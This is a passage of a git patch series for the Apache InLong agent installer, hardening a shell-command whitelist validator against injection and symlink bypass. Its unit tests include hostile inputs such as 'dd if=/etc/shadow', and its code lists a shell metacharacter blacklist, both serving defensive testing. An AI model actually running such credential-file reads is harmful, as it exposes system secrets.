InstallerConfiguration.getInstallerConf(); + conf.set(ModuleCommandValidator.KEY_EXTRA_COMMAND_WHITELIST, "dd"); + conf.set(ModuleCommandValidator.KEY_EXTRA_WRITE_LIKE_COMMANDS, "dd"); + ModuleCommandValidator v = newValidatorFromConf(); + + Assert.assertTrue(v.getEffectiveCommandWhitelist().contains("dd")); + Assert.assertTrue(v.getEffectiveWriteLikeCommands().contains("dd")); + + // 'if=/etc/shadow' contains '/', so looksLikePath treats it as a path argument for a + // write-like command; because /etc/shadow is not under any allowed root, PATH check fires. + assertRejected(v.validate("dd if=/etc/shadow of=/tmp-forbidden/x"), + ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT); + // Same idea with a plain positional path argument. + assertRejected(v.validate("dd /etc/shadow"), + ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT); + + // A path under an allowed root must pass. + Assert.assertTrue(v.validate("dd " + Paths.get(System.getProperty("user.home"), "inlong", "x.bin")) + .isOk()); + } + + @Test + public void configExtraWriteLikeButNotWhitelisted_shouldWarnAndNotAffectBehavior() { + // 'dd' is listed as write-like but never added to argv[0] whitelist. Behaviour must + // stay identical to the baseline: 'dd' is rejected on the argv[0] whitelist step. + InstallerConfiguration.getInstallerConf() + .set(ModuleCommandValidator.KEY_EXTRA_WRITE_LIKE_COMMANDS, "dd"); + ModuleCommandValidator v = newValidatorFromConf(); + Assert.assertFalse(v.getEffectiveCommandWhitelist().contains("dd")); + // Effective write-like set contains the extra entry (the WARN is a hint, not a filter). + Assert.assertTrue(v.getEffectiveWriteLikeCommands().contains("dd")); + assertRejected(v.validate("dd /etc/shadow"), + ModuleCommandValidator.RULE_NOT_IN_WHITELIST); + } + + @Test + public void configIntactBaseline_whenNoExtraProvided() { + // No config touched → effective set must equal baseline exactly. + ModuleCommandValidator v = newValidatorFromConf(); + Assert.assertEquals(ModuleCommandValidator.BASELINE_COMMAND_WHITELIST, + v.getEffectiveCommandWhitelist()); + Assert.assertEquals(ModuleCommandValidator.BASELINE_WRITE_LIKE_COMMANDS, + v.getEffectiveWriteLikeCommands()); + } + + /* --- helper --- */ + private void assertRejected(ValidationResult r, String expectedRule) { Assert.assertFalse("expected rejected, got " + r, r.isOk()); Assert.assertEquals("rule name mismatch, msg=" + r.getMessage(), From 099266796df670f7801693a8803a72e5ca60d815 Mon Sep 17 00:00:00 2001 From: spiritxishi Date: Wed, 8 Jul 2026 23:36:16 +0800 Subject: [PATCH 07/10] [INLONG-12148][Improve] [Agent] add command whitelist in agent (#12148) --- .../validator/CommandWhitelistResolver.java | 166 ++++++++++++++ .../validator/ModuleCommandValidator.java | 210 ++---------------- .../installer/ModuleCommandValidatorTest.java | 19 +- 3 files changed, 198 insertions(+), 197 deletions(-) create mode 100644 inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java new file mode 100644 index 00000000000..72a6f300e57 --- /dev/null +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java @@ -0,0 +1,166 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package org.apache.inlong.agent.installer.validator; + +import org.apache.inlong.agent.installer.conf.InstallerConfiguration; + +import lombok.Getter; +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashSet; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Set; +import java.util.TreeSet; + +/** + * Resolves the effective command whitelist and write-like command sets by merging + * built-in baselines with deployer-supplied extras. + * + *

Extras are supplied via {@value #KEY_EXTRA_COMMAND_WHITELIST} and + * {@value #KEY_EXTRA_WRITE_LIKE_COMMANDS} (comma-separated). Entries containing + * whitespace, path separators, or shell metacharacters are dropped to prevent + * config-source injection. + * + *

Default singleton backed by {@link InstallerConfiguration}. + */ +@Getter +public final class CommandWhitelistResolver { + + /** Config key for extra argv[0] whitelist entries (comma-separated). */ + public static final String KEY_EXTRA_COMMAND_WHITELIST = "installer.command.extraCommandWhitelist"; + /** Config key for extra write-like commands subject to allowed-root checks. */ + public static final String KEY_EXTRA_WRITE_LIKE_COMMANDS = "installer.command.extraWriteLikeCommands"; + + /** Baseline argv[0] whitelist. */ + public static final Set BASELINE_COMMAND_WHITELIST = buildImmutableSet( + "cd", "sh", "bash", "ps", "grep", "awk", "kill", "rm", "mkdir", "cp", "mv", "ln", + "tar", "unzip", "chmod", "chown", "echo", "cat", "test", "[", "true", "false", "java"); + + /** Baseline write-like commands whose path arguments trigger allowed-root checks. */ + public static final Set BASELINE_WRITE_LIKE_COMMANDS = buildImmutableSet( + "rm", "cp", "mv", "mkdir", "ln", "chmod", "chown", "tar", "unzip"); + + private static final Logger LOGGER = LoggerFactory.getLogger(CommandWhitelistResolver.class); + + /** + * Substring blacklist shared by command-level metacharacter scan and + * whitelist-entry validation. Includes glob wildcards ({@code *}, {@code ?}) + * because {@link ProcessBuilder} does not perform glob expansion. + */ + public static final String[] META_CHAR_BLACKLIST = { + "`", "$(", "${", "&&", "||", ">>", ">", "<", "\\", "\u0000" + }; + + /** + * Superset of {@link #META_CHAR_BLACKLIST} used for whitelist-entry validation. + * Adds characters legal in a command string (path separators, delimiters consumed + * by the split layer, whitespace) but never legal in a bare command name. + */ + private static final String[] ENTRY_ILLEGAL_SUBSTRINGS = concat(META_CHAR_BLACKLIST, + " ", "\t", "/", ";", "|"); + + private static String[] concat(String[] a, String... b) { + String[] r = new String[a.length + b.length]; + System.arraycopy(a, 0, r, 0, a.length); + System.arraycopy(b, 0, r, a.length, b.length); + return r; + } + + private static volatile CommandWhitelistResolver instance; + + private final Set effectiveCommandWhitelist; + private final Set effectiveWriteLikeCommands; + + private CommandWhitelistResolver(Set argv0, Set writeLike) { + this.effectiveCommandWhitelist = Collections.unmodifiableSet(argv0); + this.effectiveWriteLikeCommands = Collections.unmodifiableSet(writeLike); + } + + /** Return the default singleton backed by {@link InstallerConfiguration}. */ + public static CommandWhitelistResolver getDefault() { + if (instance == null) { + synchronized (CommandWhitelistResolver.class) { + if (instance == null) { + instance = build(InstallerConfiguration.getInstallerConf()); + } + } + } + return instance; + } + + /** Build from configuration, merging baselines with extra entries from config. */ + public static CommandWhitelistResolver build(InstallerConfiguration conf) { + Set argv0 = new LinkedHashSet<>(BASELINE_COMMAND_WHITELIST); + Set writeLike = new LinkedHashSet<>(BASELINE_WRITE_LIKE_COMMANDS); + if (conf != null) { + argv0.addAll(parseConfigList(conf.get(KEY_EXTRA_COMMAND_WHITELIST, ""))); + for (String extra : parseConfigList(conf.get(KEY_EXTRA_WRITE_LIKE_COMMANDS, ""))) { + writeLike.add(extra); + if (!argv0.contains(extra)) { + LOGGER.warn("'{}' listed in {} but not in argv[0] whitelist; " + + "write-like path check will not fire for it.", + extra, KEY_EXTRA_WRITE_LIKE_COMMANDS); + } + } + } + LOGGER.info("CommandWhitelistResolver initialized: argv0Whitelist={}, writeLikeCommands={}", + new TreeSet<>(argv0), new TreeSet<>(writeLike)); + return new CommandWhitelistResolver(argv0, writeLike); + } + + private static Set buildImmutableSet(String... items) { + Set s = new HashSet<>(items.length * 2); + Collections.addAll(s, items); + return Collections.unmodifiableSet(s); + } + + /** Split comma-separated config value, dropping blank and illegal entries. */ + public static List parseConfigList(String raw) { + List out = new ArrayList<>(); + if (StringUtils.isBlank(raw)) { + return out; + } + for (String item : raw.split(",")) { + String trimmed = item.trim(); + if (trimmed.isEmpty()) { + continue; + } + String reason = firstIllegalReason(trimmed); + if (reason != null) { + LOGGER.warn("Dropping illegal config entry '{}': {}", trimmed, reason); + continue; + } + out.add(trimmed); + } + return out; + } + + private static String firstIllegalReason(String entry) { + for (String s : ENTRY_ILLEGAL_SUBSTRINGS) { + if (entry.contains(s)) { + return "contains '" + s + "'"; + } + } + return null; + } +} diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java index ec0abb9b501..b5a1d9077f2 100644 --- a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/ModuleCommandValidator.java @@ -30,96 +30,18 @@ import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; -import java.util.HashSet; -import java.util.LinkedHashSet; import java.util.List; import java.util.Set; +import java.util.TreeSet; /** - * Structured whitelist validator applied to raw command strings coming from - * {@code ModuleConfig}. It enforces four layers of defence: - * - *

    - *
  1. Structured splitting: the raw command is split into sub-commands on {@code ;}, - * each sub-command is further split into pipe segments on {@code |}, and every pipe - * segment is tokenized into an {@code argv[]}. Once split this way, {@code ;} and - * {@code |} are Java-side delimiters instead of shell metacharacters.
    2. - *
  2. Metacharacter blacklist: reject the whole command if it contains a backtick, - * {@code $(}, {@code &&}, {@code ||}, {@code >}, {@code >>}, {@code <}, or a line break - * character. ({@code |} and {@code ;} are already consumed by the previous layer.)
    3. - *
  3. argv[0] whitelist: the first token of every pipe segment must appear in - * {@link #COMMAND_WHITELIST}, otherwise {@link #RULE_NOT_IN_WHITELIST}.
    4. - *
  4. Argument policy: for write-oriented commands, path arguments are tilde-expanded, - * normalized via {@link Path#normalize()}, and then checked with - * {@link AllowedRootsResolver#isUnderAllowedRoot(Path)}; {@code sh}/{@code bash} may not - * receive a {@code -c} flag ({@link #RULE_FORBIDDEN_SH_C_FLAG}).
    5. - *
+ * Structured whitelist validator for raw command strings from {@code ModuleConfig}. + * Whistlists are resolved by {@link CommandWhitelistResolver}, allowed-root checks by + * {@link AllowedRootsResolver}. */ public final class ModuleCommandValidator { - /** - * Built-in baseline for the {@code argv[0]} whitelist. Deployments may extend this via - * {@link #KEY_EXTRA_COMMAND_WHITELIST} without touching code. See ADR-shell-injection-fix. - */ - public static final Set BASELINE_COMMAND_WHITELIST = buildImmutableSet( - "cd", "sh", "bash", "ps", "grep", "awk", "kill", "rm", "mkdir", "cp", "mv", "ln", - "tar", "unzip", "chmod", "chown", "echo", "cat", "test", "[", "true", "false", "java"); - - /** - * Built-in baseline for write-oriented commands whose path arguments must live under an - * allowed root. Extendable via {@link #KEY_EXTRA_WRITE_LIKE_COMMANDS}. - */ - public static final Set BASELINE_WRITE_LIKE_COMMANDS = buildImmutableSet( - "rm", "cp", "mv", "mkdir", "ln", "chmod", "chown", "tar", "unzip"); - - /** - * @deprecated kept for backward compatibility only; use {@link #getEffectiveCommandWhitelist()} - * when you need the runtime-effective set. This constant remains an alias to - * {@link #BASELINE_COMMAND_WHITELIST}. - */ - @Deprecated - public static final Set COMMAND_WHITELIST = BASELINE_COMMAND_WHITELIST; - - /** - * @deprecated kept for backward compatibility only; use {@link #getEffectiveWriteLikeCommands()} - * when you need the runtime-effective set. This constant remains an alias to - * {@link #BASELINE_WRITE_LIKE_COMMANDS}. - */ - @Deprecated - public static final Set WRITE_LIKE_COMMANDS = BASELINE_WRITE_LIKE_COMMANDS; - - /** Configuration key for extra {@code argv[0]} whitelist entries (comma separated). */ - public static final String KEY_EXTRA_COMMAND_WHITELIST = "installer.command.extraCommandWhitelist"; - /** Configuration key for extra write-like commands that must trigger the allowed-root check. */ - public static final String KEY_EXTRA_WRITE_LIKE_COMMANDS = "installer.command.extraWriteLikeCommands"; - - /** - * Illegal characters in a whitelist entry itself. A whitelist name is meant to be a bare - * command like {@code nohup} or {@code python3}; anything containing whitespace, a path - * separator, or shell metacharacters is rejected up-front so that the config source - * cannot become an injection surface. - */ - private static final char[] ILLEGAL_ENTRY_CHARS = new char[]{ - ' ', '\t', '/', '\\', ';', '|', '&', '>', '<', '$', '`' - }; - - private static Set buildImmutableSet(String... items) { - Set s = new HashSet<>(items.length * 2); - Collections.addAll(s, items); - return Collections.unmodifiableSet(s); - } - - /** - * Substring blacklist for the metacharacter check. Reject anything that a POSIX shell - * would interpret specially and that we cannot faithfully re-implement via - * {@link ProcessBuilder}. In particular {@code *} and {@code ?} are listed here because - * {@link ProcessBuilder} does not perform glob expansion: passing a literal - * {@code *} to {@code rm} usually matches no file and silently deletes nothing, which is - * strictly more dangerous than an outright rejection. - */ - private static final String[] META_CHAR_BLACKLIST = new String[]{ - "`", "$(", "${", "&&", "||", ">>", ">", "<", "\\", "\u0000", "*", "?" - }; + // -- metacharacter blacklist -- public static final String RULE_DISALLOWED_META_CHAR = "DISALLOWED_META_CHAR"; public static final String RULE_NOT_IN_WHITELIST = "NOT_IN_WHITELIST"; @@ -130,55 +52,32 @@ private static Set buildImmutableSet(String... items) { private static final Logger LOGGER = LoggerFactory.getLogger(ModuleCommandValidator.class); private final AllowedRootsResolver allowedRootsResolver; - private final Set effectiveCommandWhitelist; - private final Set effectiveWriteLikeCommands; + private final CommandWhitelistResolver whitelistResolver; - /** Construct a validator that only uses the built-in baseline whitelists. */ + /** Construct a validator using baseline whitelists only (no config extras). */ public ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver) { - this(allowedRootsResolver, BASELINE_COMMAND_WHITELIST, BASELINE_WRITE_LIKE_COMMANDS); + this.allowedRootsResolver = allowedRootsResolver; + this.whitelistResolver = CommandWhitelistResolver.build(null); + LOGGER.info("ModuleCommandValidator initialized: argv0Whitelist={}, writeLikeCommands={}", + new TreeSet<>(whitelistResolver.getEffectiveCommandWhitelist()), + new TreeSet<>(whitelistResolver.getEffectiveWriteLikeCommands())); } - /** - * Construct a validator whose effective whitelists are the baseline sets extended by - * configuration entries from the given {@link InstallerConfiguration}. - */ + /** Construct a validator with whitelists extended by the given configuration. */ public ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver, InstallerConfiguration conf) { - this(allowedRootsResolver, buildEffective(conf)); - } - - private ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver, Set[] effective) { - this(allowedRootsResolver, effective[0], effective[1]); - } - - /** - * Load {@code (effectiveArgv0Whitelist, effectiveWriteLikeCommands)} once so the config - * source is read exactly once per instance. - */ - @SuppressWarnings("unchecked") - private static Set[] buildEffective(InstallerConfiguration conf) { - Set argv0 = loadEffectiveCommandWhitelist(conf); - Set writeLike = loadEffectiveWriteLikeCommands(conf, argv0); - return new Set[]{argv0, writeLike}; - } - - private ModuleCommandValidator(AllowedRootsResolver allowedRootsResolver, - Set effectiveCommandWhitelist, Set effectiveWriteLikeCommands) { this.allowedRootsResolver = allowedRootsResolver; - this.effectiveCommandWhitelist = Collections.unmodifiableSet(new HashSet<>(effectiveCommandWhitelist)); - this.effectiveWriteLikeCommands = Collections.unmodifiableSet(new HashSet<>(effectiveWriteLikeCommands)); - LOGGER.info("ModuleCommandValidator initialized: argv0Whitelist={}, writeLikeCommands={}", - new java.util.TreeSet<>(this.effectiveCommandWhitelist), - new java.util.TreeSet<>(this.effectiveWriteLikeCommands)); + this.whitelistResolver = CommandWhitelistResolver.build(conf); + // init log already emitted by CommandWhitelistResolver.build() } - /** Effective {@code argv[0]} whitelist actually enforced at runtime. */ + /** Effective argv[0] whitelist enforced at runtime. */ public Set getEffectiveCommandWhitelist() { - return effectiveCommandWhitelist; + return whitelistResolver.getEffectiveCommandWhitelist(); } - /** Effective write-like set that triggers the allowed-root check at runtime. */ + /** Effective write-like set that triggers allowed-root checks at runtime. */ public Set getEffectiveWriteLikeCommands() { - return effectiveWriteLikeCommands; + return whitelistResolver.getEffectiveWriteLikeCommands(); } /** Validate a raw command string. */ @@ -253,7 +152,7 @@ private ValidationResult validateSubCmd(ParsedSubCmd sub) { } String cmd = argv[0]; - if (!effectiveCommandWhitelist.contains(cmd)) { + if (!whitelistResolver.getEffectiveCommandWhitelist().contains(cmd)) { return ValidationResult.fail(RULE_NOT_IN_WHITELIST, sub.getRawSegment(), "command '" + cmd + "' is not in whitelist"); } @@ -293,7 +192,7 @@ private ValidationResult validateArguments(String[] argv, String rawSegment) { return checkPathUnderRoot(argv[1], rawSegment); } - if (effectiveWriteLikeCommands.contains(cmd)) { + if (whitelistResolver.getEffectiveWriteLikeCommands().contains(cmd)) { for (int i = 1; i < argv.length; i++) { String arg = argv[i]; if (arg.startsWith("-") || !looksLikePath(arg)) { @@ -480,7 +379,7 @@ private static String[] tokenize(String s) { } private static String firstMetaCharHit(String raw) { - for (String meta : META_CHAR_BLACKLIST) { + for (String meta : CommandWhitelistResolver.META_CHAR_BLACKLIST) { if (raw.contains(meta)) { return meta; } @@ -506,71 +405,6 @@ private static boolean looksLikePath(String arg) { || arg.contains("/"); } - /** Split a comma-separated config value; blank items are dropped. Illegal entries are dropped with a WARN. */ - static List parseConfigList(String key, String raw) { - List out = new ArrayList<>(); - if (StringUtils.isBlank(raw)) { - return out; - } - for (String item : raw.split(",")) { - String trimmed = item == null ? "" : item.trim(); - if (trimmed.isEmpty()) { - continue; - } - String reason = firstIllegalReason(trimmed); - if (reason != null) { - LOGGER.warn("ModuleCommandValidator: dropping illegal config entry from {}: '{}' ({})", - key, trimmed, reason); - continue; - } - out.add(trimmed); - } - return out; - } - - private static String firstIllegalReason(String entry) { - for (char c : ILLEGAL_ENTRY_CHARS) { - if (entry.indexOf(c) >= 0) { - return "contains forbidden char '" + c + "'"; - } - } - for (int i = 0; i < entry.length(); i++) { - char c = entry.charAt(i); - if (Character.isWhitespace(c)) { - return "contains whitespace"; - } - } - return null; - } - - private static Set loadEffectiveCommandWhitelist(InstallerConfiguration conf) { - Set merged = new LinkedHashSet<>(BASELINE_COMMAND_WHITELIST); - if (conf != null) { - for (String extra : parseConfigList(KEY_EXTRA_COMMAND_WHITELIST, - conf.get(KEY_EXTRA_COMMAND_WHITELIST, ""))) { - merged.add(extra); - } - } - return merged; - } - - private static Set loadEffectiveWriteLikeCommands(InstallerConfiguration conf, - Set effectiveCommandWhitelist) { - Set merged = new LinkedHashSet<>(BASELINE_WRITE_LIKE_COMMANDS); - if (conf != null) { - for (String extra : parseConfigList(KEY_EXTRA_WRITE_LIKE_COMMANDS, - conf.get(KEY_EXTRA_WRITE_LIKE_COMMANDS, ""))) { - merged.add(extra); - if (!effectiveCommandWhitelist.contains(extra)) { - LOGGER.warn("ModuleCommandValidator: '{}' is listed in {} but not in the effective argv[0] " - + "whitelist; the write-like path check will not fire for it.", - extra, KEY_EXTRA_WRITE_LIKE_COMMANDS); - } - } - } - return merged; - } - /** * A single sub-command produced by splitting the raw command on {@code ;}. It may contain * multiple pipe segments produced by splitting on {@code |}. diff --git a/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java b/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java index c24c3707c4e..dd3f1dc8943 100644 --- a/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java +++ b/inlong-agent/agent-installer/src/test/java/installer/ModuleCommandValidatorTest.java @@ -19,6 +19,7 @@ import org.apache.inlong.agent.installer.conf.InstallerConfiguration; import org.apache.inlong.agent.installer.validator.AllowedRootsResolver; +import org.apache.inlong.agent.installer.validator.CommandWhitelistResolver; import org.apache.inlong.agent.installer.validator.ModuleCommandValidator; import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ParsedSubCmd; import org.apache.inlong.agent.installer.validator.ModuleCommandValidator.ValidationResult; @@ -399,8 +400,8 @@ public void expandTilde_shouldReplaceHomePrefixOnly() { @After public void clearConfigOverrides() { InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); - conf.set(ModuleCommandValidator.KEY_EXTRA_COMMAND_WHITELIST, ""); - conf.set(ModuleCommandValidator.KEY_EXTRA_WRITE_LIKE_COMMANDS, ""); + conf.set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, ""); + conf.set(CommandWhitelistResolver.KEY_EXTRA_WRITE_LIKE_COMMANDS, ""); } private ModuleCommandValidator newValidatorFromConf() { @@ -415,7 +416,7 @@ public void configExtraCommandWhitelist_shouldAllowCustomArgv0() { // With extraCommandWhitelist=nohup it must pass. InstallerConfiguration.getInstallerConf() - .set(ModuleCommandValidator.KEY_EXTRA_COMMAND_WHITELIST, "nohup"); + .set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, "nohup"); ModuleCommandValidator v = newValidatorFromConf(); ValidationResult after = v.validate("nohup java -jar ~/inlong/x.jar"); Assert.assertTrue("expected ok after adding nohup, got " + after, after.isOk()); @@ -425,7 +426,7 @@ public void configExtraCommandWhitelist_shouldAllowCustomArgv0() { public void configIllegalEntry_shouldBeSkippedButOthersKept() { // 'my;cmd' contains ';' and must be dropped; 'python3' is legal and must survive. InstallerConfiguration.getInstallerConf() - .set(ModuleCommandValidator.KEY_EXTRA_COMMAND_WHITELIST, "my;cmd,python3, echo bad ,ok_name"); + .set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, "my;cmd,python3, echo bad ,ok_name"); ModuleCommandValidator v = newValidatorFromConf(); Set effective = v.getEffectiveCommandWhitelist(); Assert.assertFalse("entries containing ';' must be dropped", effective.contains("my;cmd")); @@ -439,8 +440,8 @@ public void configExtraWriteLikeCommand_shouldTriggerPathRootCheck() { // Make 'dd' both an allowed argv[0] and a write-like command; a path outside allowed // roots must now be rejected via PATH_NOT_UNDER_ALLOWED_ROOT rather than sneak past. InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); - conf.set(ModuleCommandValidator.KEY_EXTRA_COMMAND_WHITELIST, "dd"); - conf.set(ModuleCommandValidator.KEY_EXTRA_WRITE_LIKE_COMMANDS, "dd"); + conf.set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, "dd"); + conf.set(CommandWhitelistResolver.KEY_EXTRA_WRITE_LIKE_COMMANDS, "dd"); ModuleCommandValidator v = newValidatorFromConf(); Assert.assertTrue(v.getEffectiveCommandWhitelist().contains("dd")); @@ -464,7 +465,7 @@ public void configExtraWriteLikeButNotWhitelisted_shouldWarnAndNotAffectBehavior // 'dd' is listed as write-like but never added to argv[0] whitelist. Behaviour must // stay identical to the baseline: 'dd' is rejected on the argv[0] whitelist step. InstallerConfiguration.getInstallerConf() - .set(ModuleCommandValidator.KEY_EXTRA_WRITE_LIKE_COMMANDS, "dd"); + .set(CommandWhitelistResolver.KEY_EXTRA_WRITE_LIKE_COMMANDS, "dd"); ModuleCommandValidator v = newValidatorFromConf(); Assert.assertFalse(v.getEffectiveCommandWhitelist().contains("dd")); // Effective write-like set contains the extra entry (the WARN is a hint, not a filter). @@ -477,9 +478,9 @@ public void configExtraWriteLikeButNotWhitelisted_shouldWarnAndNotAffectBehavior public void configIntactBaseline_whenNoExtraProvided() { // No config touched → effective set must equal baseline exactly. ModuleCommandValidator v = newValidatorFromConf(); - Assert.assertEquals(ModuleCommandValidator.BASELINE_COMMAND_WHITELIST, + Assert.assertEquals(CommandWhitelistResolver.BASELINE_COMMAND_WHITELIST, v.getEffectiveCommandWhitelist()); - Assert.assertEquals(ModuleCommandValidator.BASELINE_WRITE_LIKE_COMMANDS, + Assert.assertEquals(CommandWhitelistResolver.BASELINE_WRITE_LIKE_COMMANDS, v.getEffectiveWriteLikeCommands()); } From f06481392e62dbd7777d79cc16f340fd08ab77d8 Mon Sep 17 00:00:00 2001 From: spiritxishi Date: Thu, 9 Jul 2026 10:26:55 +0800 Subject: [PATCH 08/10] [INLONG-12148][Improve] [Agent] fix ut add properties example doc (#12148) --- .../agent-installer/conf/installer.properties | 27 ++++++++++++++++++- .../validator/CommandWhitelistResolver.java | 2 +- 2 files changed, 27 insertions(+), 2 deletions(-) diff --git a/inlong-agent/agent-installer/conf/installer.properties b/inlong-agent/agent-installer/conf/installer.properties index aed969cb094..7a230558a88 100755 --- a/inlong-agent/agent-installer/conf/installer.properties +++ b/inlong-agent/agent-installer/conf/installer.properties @@ -38,4 +38,29 @@ agent.cluster.name=default_agent # audit config ############################ # whether to enable audit -audit.enable=true \ No newline at end of file +audit.enable=true + +############################ +# command security: extra allowed root directories +# Write commands (rm, cp, mv, mkdir, ln, chmod, chown, tar, unzip) can only operate +# on paths within built-in roots: $user.home/inlong, $user.home/inlong-agent, +# agent.home, $java.io.tmpdir. Append comma-separated paths for custom deployments. +# installer.command.extraAllowedRoots=/opt/inlong,/data/inlong +############################ + +############################ +# command security: extra argv[0] whitelist commands +# Built-in whitelist: cd, sh, bash, ps, grep, awk, kill, rm, mkdir, cp, mv, ln, tar, +# unzip, chmod, chown, echo, cat, test, [, true, false, java. +# Append comma-separated command names. Entries with whitespace, path separators, or +# shell metacharacters (; | & > < $ ` / \) are rejected with a WARN. +# installer.command.extraCommandWhitelist=nohup,python3 +############################ + +############################ +# command security: extra write-like commands subject to allowed-root checks +# Built-in set: rm, cp, mv, mkdir, ln, chmod, chown, tar, unzip. +# Append comma-separated command names. The command must also be present in the +# whitelist (built-in + extra); otherwise only a WARN is logged and the check is +# skipped. +# installer.command.extraWriteLikeCommands=dd,truncate \ No newline at end of file diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java index 72a6f300e57..e754d0dbb62 100644 --- a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/CommandWhitelistResolver.java @@ -68,7 +68,7 @@ public final class CommandWhitelistResolver { * because {@link ProcessBuilder} does not perform glob expansion. */ public static final String[] META_CHAR_BLACKLIST = { - "`", "$(", "${", "&&", "||", ">>", ">", "<", "\\", "\u0000" + "`", "$(", "${", "&&", "||", ">>", ">", "<", "\\", "\u0000", "*", "?" }; /** From 3c5197d9dde28b58a52a884382fa09579fd0d7b4 Mon Sep 17 00:00:00 2001 From: spiritxishi Date: Thu, 9 Jul 2026 11:11:19 +0800 Subject: [PATCH 09/10] [INLONG-12148][Improve] [Agent] add ${home}/tmp dir (#12148) --- .../inlong/agent/installer/validator/AllowedRootsResolver.java | 1 + 1 file changed, 1 insertion(+) diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java index f2f45490414..8842f196a18 100644 --- a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java @@ -95,6 +95,7 @@ public static AllowedRootsResolver build(InstallerConfiguration conf) { if (StringUtils.isNotBlank(userHome)) { addRoot(roots, Paths.get(userHome, "inlong")); addRoot(roots, Paths.get(userHome, "inlong-agent")); + addRoot(roots, Paths.get(userHome, "tmp")); } // agent.home resolution: -Dagent.home JVM system property first, then the same key From 2ff33f48598463b0f515f433871f6adb4c1b83c1 Mon Sep 17 00:00:00 2001 From: spiritxishi Date: Wed, 15 Jul 2026 15:37:51 +0800 Subject: [PATCH 10/10] [INLONG-12148][Improve] [Agent] fix symlinkBypass scene (#12148) --- .../validator/AllowedRootsResolver.java | 60 +++++++-- .../installer/AllowedRootsResolverTest.java | 123 ++++++++++++++++++ 2 files changed, 170 insertions(+), 13 deletions(-) diff --git a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java index 8842f196a18..ddfdfb47402 100644 --- a/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java +++ b/inlong-agent/agent-installer/src/main/java/org/apache/inlong/agent/installer/validator/AllowedRootsResolver.java @@ -132,24 +132,51 @@ public static AllowedRootsResolver build(InstallerConfiguration conf) { return new AllowedRootsResolver(roots); } + /** + * Store a root in two forms: + * 1) lexical form ({@code normalize()}, does not follow symlinks) + * 2) real form ({@code toRealPath()}, follows symlinks) + * If the root does not yet exist, splice the non-existent remainder onto the real path + * of the nearest existing ancestor to obtain the real form. + * Keeping both forms lets later comparisons succeed regardless of which form the + * path under test arrives in. + */ private static void addRoot(Set roots, Path p) { if (p == null) { return; } Path absolute = p.toAbsolutePath(); + roots.add(absolute.normalize()); try { roots.add(absolute.toRealPath()); } catch (IOException e) { - roots.add(absolute.normalize()); + Path existingAncestor = absolute; + while (existingAncestor != null && !Files.exists(existingAncestor)) { + existingAncestor = existingAncestor.getParent(); + } + if (existingAncestor != null) { + try { + Path realAncestor = existingAncestor.toRealPath(); + Path remainder = existingAncestor.relativize(absolute); + roots.add(realAncestor.resolve(remainder).normalize()); + } catch (IOException ignored) { + // Real path unresolvable; keep only the lexical form. + } + } } } /** * Test whether the given path lies under any allowed root (equal to a root also counts). - * Uses {@code Path#toRealPath()} when the path exists to defeat symlink-based bypass - * attempts. When the path does not exist yet (e.g. a {@code mkdir} target), it walks up - * to the nearest existing ancestor, resolves its real path, and splices 